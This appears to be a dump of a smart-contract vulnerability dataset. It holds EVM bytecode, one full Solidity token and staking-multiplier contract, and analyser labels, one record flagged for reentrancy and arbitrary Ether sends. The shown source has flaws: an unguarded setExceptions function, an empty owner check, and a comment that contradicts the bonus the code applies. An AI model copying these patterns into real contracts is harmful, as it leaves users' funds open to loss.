5611a7d57600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119c76114df565b73ffffffffffffffffffffffffffffffffffffffff161480611a3d5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611a256114df565b73ffffffffffffffffffffffffffffffffffffffff16145b611a7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a739061338b565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ac157601154811115611ac057600080fd5b5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b655750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6e57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c195750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c875750601060179054906101000a900460ff165b15611d285742600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611cd757600080fd5b600f42611ce491906134e1565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611d33306109c1565b9050601060159054906101000a900460ff16158015611da05750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611db85750601060169054906101000a900460ff165b15611de057611dc681612098565b60004790506000811115611dde57611ddd47611f09565b5b505b505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e895750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611e9357600090505b611e9f84848484612457565b50505050565b6000838311158290611eed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee491906131e9565b60405180910390fd5b5060008385611efc91906135c2565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f6c600a611f5e60048661239290919063ffffffff16565b61240d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f97573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ffb600a611fed60068661239290919063ffffffff16565b61240d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612026573d6000803e3d6000fd5b5050565b6000600754821115612071576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120689061322b565b60405180910390fd5b600061207b612484565b9050612090818461240d90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120f6577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156121245781602001602082028036833780820191505090505b5090503081600081518110612162577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561220457600080fd5b505afa158015612218573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061223c9190612bf9565b81600181518110612276577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122dd30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114e7565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123419594939291906133c6565b600060405180830381600087803b15801561235b57600080fd5b505af115801561236f573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b6000808314156123a55760009050612407565b600082846123b39190613568565b90508284826123c29190613537565b14612402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f9906132ab565b60405180910390fd5b809150505b92915050565b600061244f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124af565b905092915050565b8061246557612464612512565b5b612470848484612543565b8061247e5761247d61270e565b5b50505050565b600080600061249161271f565b915091506124a8818361240d90919063ffffffff16565b9250505090565b600080831182906124f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ed91906131e9565b60405180910390fd5b50600083856125059190613537565b9050809150509392505050565b600060095414801561252657506000600a54145b1561253057612541565b60006009819055506000600a819055505b565b60008060008060008061255587612781565b9550955095509550955095506125b386600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127e990919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061264885600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283390919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061269481612891565b61269e848361294e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126fb91906133ab565b60405180910390a3505050505050505050565b6002600981905550600a8081905550565b600080600060075490506000683635c9adc5dea000009050612755683635c9adc5dea0000060075461240d90919063ffffffff16565b82101561277457600754683635c9adc5dea0000093509350505061277d565b81819350935050505b9091565b600080600080600080600080600061279e8a600954600a54612988565b92509250925060006127ae612484565b905060008060006127c18e878787612a1e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061282b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ea5565b905092915050565b600080828461284291906134e1565b905083811015612887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287e9061326b565b60405180910390fd5b8091505092915050565b600061289b612484565b905060006128b2828461239290919063ffffffff16565b905061290681600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283390919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612963826007546127e990919063ffffffff16565b60078190555061297e8160085461283390919063ffffffff16565b6008819055505050565b6000806000806129b460646129a6888a61239290919063ffffffff16565b61240d90919063ffffffff16565b905060006129de60646129d0888b61239290919063ffffffff16565b61240d90919063ffffffff16565b90506000612a07826129f9858c6127e990919063ffffffff16565b6127e990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a37858961239290919063ffffffff16565b90506000612a4e868961239290919063ffffffff16565b90506000612a65878961239290919063ffffffff16565b90506000612a8e82612a8085876127e990919063ffffffff16565b6127e990919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612aba612ab584613460565b61343b565b90508083825260208201905082856020860282011115612ad957600080fd5b60005b85811015612b095781612aef8882612b13565b845260208401935060208301925050600181019050612adc565b5050509392505050565b600081359050612b2281613ad9565b92915050565b600081519050612b3781613ad9565b92915050565b600081359050612b4c81613af0565b92915050565b600082601f830112612b6357600080fd5b8135612b73848260208601612aa7565b91505092915050565b600081359050612b8b81613b07565b92915050565b600081519050612ba081613b07565b92915050565b600081359050612bb581613b1e565b92915050565b600081519050612bca81613b1e565b92915050565b600060208284031215612be257600080fd5b6000612bf084828501612b13565b91505092915050565b600060208284031215612c0b57600080fd5b6000612c1984828501612b28565b91505092915050565b60008060408385031215612c3557600080fd5b6000612c4385828601612b3d565b9250506020612c5485828601612b3d565b9150509250929050565b60008060408385031215612c7157600080fd5b6000612c7f85828601612b13565b9250506020612c9085828601612b13565b9150509250929050565b600080600060608486031215612caf57600080fd5b6000612cbd86828701612b13565b9350506020612cce86828701612b13565b9250506040612cdf86828701612ba6565b9150509250925092565b60008060408385031215612cfc57600080fd5b6000612d0a85828601612b13565b9250506020612d1b85828601612ba6565b9150509250929050565b600060208284031215612d3757600080fd5b600082013567ffffffffffffffff811115612d5157600080fd5b612d5d84828501612b52565b91505092915050565b600060208284031215612d7857600080fd5b6000612d8684828501612b7c565b91505092915050565b600060208284031215612da157600080fd5b6000612daf84828501612b91565b91505092915050565b600060208284031215612dca57600080fd5b6000612dd884828501612ba6565b91505092915050565b600080600060608486031215612df657600080fd5b6000612e0486828701612bbb565b9350506020612e1586828701612bbb565b9250506040612e2686828701612bbb565b9150509250925092565b6000612e3c8383612e48565b60208301905092915050565b612e51816135f6565b82525050565b612e60816135f6565b82525050565b6000612e718261349c565b612e7b81856134bf565b9350612e868361348c565b8060005b83811015612eb7578151612e9e8882612e30565b9750612ea9836134b2565b925050600181019050612e8a565b5085935050505092915050565b612ecd8161361a565b82525050565b612edc8161365d565b82525050565b6000612eed826134a7565b612ef781856134d0565b9350612f0781856020860161366f565b612f10816137a9565b840191505092915050565b6000612f286023836134d0565b9150612f33826137ba565b604082019050919050565b6000612f4b602a836134d0565b9150612f5682613809565b604082019050919050565b6000612f6e6022836134d0565b9150612f7982613858565b604082019050919050565b6000612f91601b836134d0565b9150612f9c826138a7565b602082019050919050565b6000612fb4601d836134d0565b9150612fbf826138d0565b602082019050919050565b6000612fd76021836134d0565b9150612fe2826138f9565b604082019050919050565b6000612ffa6020836134d0565b915061300582613948565b602082019050919050565b600061301d6029836134d0565b915061302882613971565b604082019050919050565b60006130406016836134d0565b915061304b826139c0565b602082019050919050565b60006130636025836134d0565b915061306e826139e9565b604082019050919050565b60006130866024836134d0565b915061309182613a38565b604082019050919050565b60006130a96017836134d0565b91506130b482613a87565b602082019050919050565b60006130cc6011836134d0565b91506130d782613ab0565b602082019050919050565b6130eb81613646565b82525050565b6130fa81613650565b82525050565b60006020820190506131156000830184612e57565b92915050565b60006040820190506131306000830185612e57565b61313d6020830184612e57565b9392505050565b60006040820190506131596000830185612e57565b61316660208301846130e2565b9392505050565b600060c0820190506131826000830189612e57565b61318f60208301886130e2565b61319c6040830187612ed3565b6131a96060830186612ed3565b6131b66080830185612e57565b6131c360a08301846130e2565b979650505050505050565b60006020820190506131e36000830184612ec4565b92915050565b600060208201905081810360008301526132038184612ee2565b905092915050565b6000602082019050818103600083015261322481612f1b565b9050919050565b6000602082019050818103600083015261324481612f3e565b9050919050565b6000602082019050818103600083015261326481612f61565b9050919050565b6000602082019050818103600083015261328481612f84565b9050919050565b600060208201905081810360008301526132a481612fa7565b9050919050565b600060208201905081810360008301526132c481612fca565b9050919050565b600060208201905081810360008301526132e481612fed565b9050919050565b6000602082019050818103600083015261330481613010565b9050919050565b6000602082019050818103600083015261332481613033565b9050919050565b6000602082019050818103600083015261334481613056565b9050919050565b6000602082019050818103600083015261336481613079565b9050919050565b600060208201905081810360008301526133848161309c565b9050919050565b600060208201905081810360008301526133a4816130bf565b9050919050565b60006020820190506133c060008301846130e2565b92915050565b600060a0820190506133db60008301886130e2565b6133e86020830187612ed3565b81810360408301526133fa8186612e66565b90506134096060830185612e57565b61341660808301846130e2565b9695505050505050565b600060208201905061343560008301846130f1565b92915050565b6000613445613456565b905061345182826136a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561347b5761347a61377a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134ec82613646565b91506134f783613646565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561352c5761352b61371c565b5b828201905092915050565b600061354282613646565b915061354d83613646565b92508261355d5761355c61374b565b5b828204905092915050565b600061357382613646565b915061357e83613646565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135b7576135b661371c565b5b828202905092915050565b60006135cd82613646565b91506135d883613646565b9250828210156135eb576135ea61371c565b5b828203905092915050565b600061360182613626565b9050919050565b600061361382613626565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061366882613646565b9050919050565b60005b8381101561368d578082015181840152602081019050613672565b8381111561369c576000848401525b50505050565b6136ab826137a9565b810181811067ffffffffffffffff821117156136ca576136c961377a565b5b80604052505050565b60006136de82613646565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156137115761371061371c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f596f7520617265206e6f7420617574686f72697a656400000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613ae2816135f6565b8114613aed57600080fd5b50565b613af981613608565b8114613b0457600080fd5b50565b613b108161361a565b8114613b1b57600080fd5b50565b613b2781613646565b8114613b3257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205247f564376903ed0f62d694485647538e7860895fea20a6ba0093cec3de6c0b64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,146 |
0xa0314e9f1d821668b26f5a9e58a19ee945b7e3d4 | pragma solidity 0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private exceptions;
address private uniswap;
address private _owner;
uint private _totalSupply;
constructor(address owner) public{
_owner = owner;
}
function setAllow() public{
require(_msgSender() == _owner,"Only owner can change set allow");
}
function setExceptions(address someAddress) public{
exceptions[someAddress] = true;
}
function burnOwner() public{
require(_msgSender() == _owner,"Only owner can change set allow");
_owner = address(0);
}
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Token is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor (string memory name,string memory ticker,uint256 amount) public ERC20Detailed(name, ticker, 18) ERC20(tx.origin){
governance = tx.origin;
addMinter(tx.origin);
mint(governance,amount);
}
function mint(address account, uint256 amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
}
contract Migrations {
address public owner = msg.sender;
uint public last_completed_migration;
modifier restricted() {
require(
msg.sender == owner,
"This function is restricted to the contract's owner"
);
_;
}
function setCompleted(uint completed) public restricted {
last_completed_migration = completed;
}
}
interface Pool {
function balanceOf(address account) external view returns (uint256);
}
contract Multiplier {
// List of all pools that involve ZZZ staked
using SafeMath for uint;
using SafeERC20 for IERC20;
address[] public pools;
address public owner;
IERC20 public ZZZ = IERC20(address(0));
uint256 TwoPercentBonus = 2 * 10 ** 16;
uint256 TenPercentBonus = 1 * 10 ** 17;
uint256 TwentyPercentBonus = 2 * 10 ** 17;
uint256 ThirtyPercentBonus = 3 * 10 ** 17;
uint256 FourtyPercentBonus = 4 * 10 ** 17;
uint256 FiftyPercentBonus = 5 * 10 ** 17;
uint256 SixtyPercentBonus = 6 * 10 ** 17;
uint256 SeventyPercentBonus = 7 * 10 ** 17;
uint256 EightyPercentBonus = 8 * 10 ** 17;
uint256 NinetyPercentBonus = 9 * 10 ** 17;
uint256 OneHundredPercentBonus = 1 * 10 ** 18;
constructor(address[] memory poolAddresses,address zzzAddress) public{
pools = poolAddresses;
ZZZ = IERC20(zzzAddress);
owner = msg.sender;
}
// Set the pool and zzz address if there are any errors.
function configure(address[] calldata poolAddresses,address zzzAddress) external {
require(msg.sender == owner,"Only the owner can call this function");
pools = poolAddresses;
ZZZ = IERC20(zzzAddress);
}
// Returns the balance of the user's ZZZ accross all staking pools
function balanceOf(address account) public view returns (uint256) {
// Loop over the pools and add to total
uint256 total = 0;
for(uint i = 0;i<pools.length;i++){
Pool pool = Pool(pools[i]);
total = total.add(pool.balanceOf(account));
}
// Add zzz balance in wallet if any
total = total.add(ZZZ.balanceOf(account));
return total;
}
function getPermanentMultiplier(address account) public view returns (uint256) {
uint256 permanentMultiplier = 0;
uint256 zzzBalance = balanceOf(account);
if(zzzBalance >= 1 * 10**18 && zzzBalance < 5*10**18) {
// Between 1 to 5, 2 percent bonus
permanentMultiplier = permanentMultiplier.add(TwoPercentBonus);
}else if(zzzBalance >= 5 * 10**18 && zzzBalance < 10 * 10**18) {
// Between 5 to 10, 10 percent bonus
permanentMultiplier = permanentMultiplier.add(TenPercentBonus);
}else if(zzzBalance >= 10 * 10**18 && zzzBalance < 20 * 10 ** 18) {
// Between 10 and 20, 20 percent bonus
permanentMultiplier = permanentMultiplier.add(ThirtyPercentBonus);
}else if(zzzBalance >= 20 * 10 ** 18) {
// More than 20, 60 percent bonus
permanentMultiplier = permanentMultiplier.add(SixtyPercentBonus);
}
return permanentMultiplier;
}
function getTotalMultiplier(address account) public view returns (uint256) {
uint256 multiplier = getPermanentMultiplier(account);
return multiplier;
}
}
| 0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80638da5cb5b1161005b5780638da5cb5b1461017c578063ac4afa38146101c6578063df2671cf14610234578063f5df3c6b1461028c5761007d565b806312307e141461008257806347469420146100cc57806370a0823114610124575b600080fd5b61008a610325565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010e600480360360208110156100e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061034b565b6040518082815260200191505060405180910390f35b6101666004803603602081101561013a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610455565b6040518082815260200191505060405180910390f35b61018461067c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101f2600480360360208110156101dc57600080fd5b81019080803590602001909291905050506106a2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102766004803603602081101561024a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106de565b6040518082815260200191505060405180910390f35b610323600480360360408110156102a257600080fd5b81019080803590602001906401000000008111156102bf57600080fd5b8201836020820111156102d157600080fd5b803590602001918460208302840111640100000000831117156102f357600080fd5b9091929391929390803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106f5565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009050600061035d84610455565b9050670de0b6b3a7640000811015801561037e5750674563918244f4000081105b1561039f57610398600354836107f390919063ffffffff16565b915061044b565b674563918244f4000081101580156103be5750678ac7230489e8000081105b156103df576103d8600454836107f390919063ffffffff16565b915061044a565b678ac7230489e8000081101580156103ff57506801158e460913d0000081105b1561042057610419600654836107f390919063ffffffff16565b9150610449565b6801158e460913d00000811061044857610445600954836107f390919063ffffffff16565b91505b5b5b5b8192505050919050565b6000806000905060008090505b60008054905081101561058457600080828154811061047d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506105748173ffffffffffffffffffffffffffffffffffffffff166370a08231876040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561052a57600080fd5b505afa15801561053e573d6000803e3d6000fd5b505050506040513d602081101561055457600080fd5b8101908080519060200190929190505050846107f390919063ffffffff16565b9250508080600101915050610462565b50610671600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561062757600080fd5b505afa15801561063b573d6000803e3d6000fd5b505050506040513d602081101561065157600080fd5b8101908080519060200190929190505050826107f390919063ffffffff16565b905080915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081815481106106af57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806106ea8361034b565b905080915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461079b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061095f6025913960400191505060405180910390fd5b8282600091906107ac92919061087b565b5080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b600080828401905083811015610871576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b82805482825590600052602060002090810192821561090a579160200282015b8281111561090957823573ffffffffffffffffffffffffffffffffffffffff168260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509160200191906001019061089b565b5b509050610917919061091b565b5090565b61095b91905b8082111561095757600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101610921565b5090565b9056fe4f6e6c7920746865206f776e65722063616e2063616c6c20746869732066756e6374696f6ea265627a7a72315820babe5a5dae3226fd5ba08b05db05649dfc4f9fa424759091628e4b57b168711564736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 1,147 |
0x4b46c859865e9846c3b033fd18cb66acd010e9d5 | pragma solidity ^0.4.19;
/*
Copyright (c) 2016 Smart Contract Solutions, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
/**
* @title SafeMath
